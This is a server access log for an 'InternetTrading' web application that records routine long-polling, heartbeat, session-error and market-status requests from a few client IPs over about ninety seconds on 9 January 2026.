[09/Jan/2026:10:45:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927009680 HTTP/1.1" -
[09/Jan/2026:10:45:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:45:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927013079 HTTP/1.1" -
[09/Jan/2026:10:45:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927026822 HTTP/1.1" -
[09/Jan/2026:10:45:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927014732 HTTP/1.1" -
[09/Jan/2026:10:45:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927018161 HTTP/1.1" -
[09/Jan/2026:10:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:45:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927031841 HTTP/1.1" -
[09/Jan/2026:10:45:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927019764 HTTP/1.1" -
[09/Jan/2026:10:45:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927023298 HTTP/1.1" -
[09/Jan/2026:10:45:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927036870 HTTP/1.1" -
[09/Jan/2026:10:45:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927024792 HTTP/1.1" -
[09/Jan/2026:10:45:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927028436 HTTP/1.1" -
[09/Jan/2026:10:45:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927041904 HTTP/1.1" -
[09/Jan/2026:10:46:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927029816 HTTP/1.1" -
[09/Jan/2026:10:46:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927033578 HTTP/1.1" -
[09/Jan/2026:10:46:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927046972 HTTP/1.1" -
[09/Jan/2026:10:46:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927034860 HTTP/1.1" -
[09/Jan/2026:10:46:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927038712 HTTP/1.1" -
[09/Jan/2026:10:46:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927051994 HTTP/1.1" -
[09/Jan/2026:10:46:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927039908 HTTP/1.1" -
[09/Jan/2026:10:46:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927043871 HTTP/1.1" -
[09/Jan/2026:10:46:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927057013 HTTP/1.1" -
[09/Jan/2026:10:46:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927044949 HTTP/1.1" -
[09/Jan/2026:10:46:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927048925 HTTP/1.1" -
[09/Jan/2026:10:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927062047 HTTP/1.1" -
[09/Jan/2026:10:46:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927049986 HTTP/1.1" -
[09/Jan/2026:10:46:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927054062 HTTP/1.1" -
[09/Jan/2026:10:46:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927067226 HTTP/1.1" -
[09/Jan/2026:10:46:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927055007 HTTP/1.1" -
[09/Jan/2026:10:46:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927059202 HTTP/1.1" -
[09/Jan/2026:10:46:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927073234 HTTP/1.1" -
[09/Jan/2026:10:46:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927060044 HTTP/1.1" -
[09/Jan/2026:10:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927064323 HTTP/1.1" -
[09/Jan/2026:10:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927079229 HTTP/1.1" -
[09/Jan/2026:10:46:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927065074 HTTP/1.1" -
[09/Jan/2026:10:46:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927069440 HTTP/1.1" -
[09/Jan/2026:10:46:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927070104 HTTP/1.1" -
[09/Jan/2026:10:46:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927085226 HTTP/1.1" -
[09/Jan/2026:10:46:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927074551 HTTP/1.1" -
[09/Jan/2026:10:46:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927075131 HTTP/1.1" -
[09/Jan/2026:10:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:46:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927091231 HTTP/1.1" -
[09/Jan/2026:10:46:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927079648 HTTP/1.1" -
[09/Jan/2026:10:46:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927080164 HTTP/1.1" -
[09/Jan/2026:10:46:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927084734 HTTP/1.1" -
[09/Jan/2026:10:46:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927097234 HTTP/1.1" -
[09/Jan/2026:10:46:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:46:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:46:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927085185 HTTP/1.1" -
[09/Jan/2026:10:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927089874 HTTP/1.1" -
[09/Jan/2026:10:46:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927103234 HTTP/1.1" -
[09/Jan/2026:10:47:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927091029 HTTP/1.1" -
[09/Jan/2026:10:47:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927095017 HTTP/1.1" -
[09/Jan/2026:10:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927109233 HTTP/1.1" -
[09/Jan/2026:10:47:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927096080 HTTP/1.1" -
[09/Jan/2026:10:47:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927100163 HTTP/1.1" -
[09/Jan/2026:10:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:47:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927115235 HTTP/1.1" -
[09/Jan/2026:10:47:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927101112 HTTP/1.1" -
[09/Jan/2026:10:47:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:47:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:47:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:47:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927105268 HTTP/1.1" -
